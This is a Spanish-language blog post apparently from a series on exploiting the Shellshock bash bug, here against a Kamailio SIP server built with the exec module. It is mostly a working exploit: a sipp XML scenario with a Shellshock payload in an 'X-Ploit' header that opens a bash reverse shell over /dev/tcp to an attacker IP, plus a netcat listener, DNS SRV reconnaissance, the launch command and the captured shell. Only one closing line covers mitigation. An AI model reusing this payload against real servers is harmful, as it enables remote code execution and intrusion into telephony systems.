Esta web utiliza cookies, puedes ver nuestra política de cookies aquí. Si continuas navegando estás aceptándola

BashShock SIP server


Siguiendo con la serie de artículos "formas de explotar el bug bashshock" vamos a explicar como aplicar dicho ataque contra un servidor SIP, mas concretamente contra un Kamailio3.2, para ello utilizaremos una herramienta muy útil llamada sipp, se trata de un simulador de tráfico sip, con él podremos montar escanarios sip mediante ficheros xml, el truco consiste en pasarle una cabecera sip al servidor la cual será modificada para que aproveche el bug bashshock, para que esto resulte kamailio debe estar compilado con el módulo exec.

Primero comprobamos si nuestro servidor es vulnerable:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Como comentaba en la introducción, kamailio debe ser compilado con soporte para exec, este módulo permite ejecutar comando externos desde dentro de kamailio, la doc del módulo la podemos encontrar aquí.

make FLAVOUR=kamailio include_modules="db_mysql p_usrloc regex snmpstats db_cluster exec" cfg

En el fichero de config cargamos dicho módulo:

vi /etc/kamailio/kamailio.cfg
loadmodule "exec.so"

En el enrutado debe haber algún lugar donde se ejecute un comando mediante exec, en mi caso:

vi /etc/kamailio/kamailio.cfg
exec_msg("echo TEST > /tmp/test.txt");

Los servidores SIP suelen funcionar en cluster y utilizar DNS-SRV para repartir la carga, averiguamos todos los servidores que hay detrás del dominio mediante:

dig SRV _sip._tcp.DOMAIN.com
dig SRV _sip._udp.DOMAIN.com

Ahora que tenemos el listado de servidores configuramos nuestro hosts para que la petición del simulador llegue a dicho server:

vi /etc/hosts
A.B.C.D DOMAIN.com

Ponemos a la escucha el socket que recibirá la conexión:

nc -l -p 7788

Pasamos a la parte del simulador, lo descargamos y lo compilamos:

http://downloads.sourceforge.net/project/sipp/
cd sipp
make ossl

Creamos nuestro escenario, es un escanario muy sencillo en el que no se cierra ni la conexión sip ya que solo queremos enviar el primer paquete para provocar el error y conseguir shell:

mkdir scenarios
vi scenarios/sipshock.xml
<?xml version="1.0" encoding="ISO-8859-1" ?>
<!DOCTYPE scenario SYSTEM "sipp.dtd">
<scenario name="Basic Sipstone UAC">
<send retrans="500">
<![CDATA[
INVITE sip:[service]@DOMAIN.com:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
From: sipp <sip:sipp@DOMAIN.com:[local_port]>;tag=[call_number]
To: sut <sip:[service]@DOMAIN.com:[remote_port]>
Call-ID: [call_id]
CSeq: 1 INVITE
Contact: sip:sipp@[local_ip]:[local_port]
Max-Forwards: 70
X-Ploit: () { :;}; exec /bin/bash -i >& /dev/tcp/192.168.20.27/7788 0>&1
Subject: Security Test
Content-Type: application/sdp
Content-Length: [len]
v=0
o=user1 53655765 2353687637 IN IP[local_ip_type] [local_ip]
s=-
c=IN IP[media_ip_type] [media_ip]
t=0 0
m=audio [media_port] RTP/AVP 0
a=rtpmap:0 PCMU/8000
]]>
</send>
<recv response="401" auth="true">
</recv>
</scenario>

Lanzamos el ataque:

./sipp -pause_msg_ign -sf scenarios/sipshock.xml -t tn -i 192.168.20.27 DOMAIN.com -max_socket 500

En la shell con el netcat deberíamos de haber recibido una shell con los privilegios del usuario con el que corre kamailio:

kamailio@kamatest / $ id
id
uid=1000(kamailio) gid=1000(kamailio) groups=1000(kamailio)

NOTA: Si el comando exec está en una ruta en la cual debemos estar ya autenticados sería necesario autenticarse antes para llegar al punto crítico, esto implicaría un escanrio en sipp un poco mas complejo y tener unas credenciales válidas en dicho servidor.

Lo ideal sería actualizar la versión de bash y configurar el módulo exec para que no pase variables de entorno a la shell a no ser que sea estrictamente necesario --> modparam("exec", "setvars", 0)


Autor: Kr0m -- 16/10/2014 20:46:17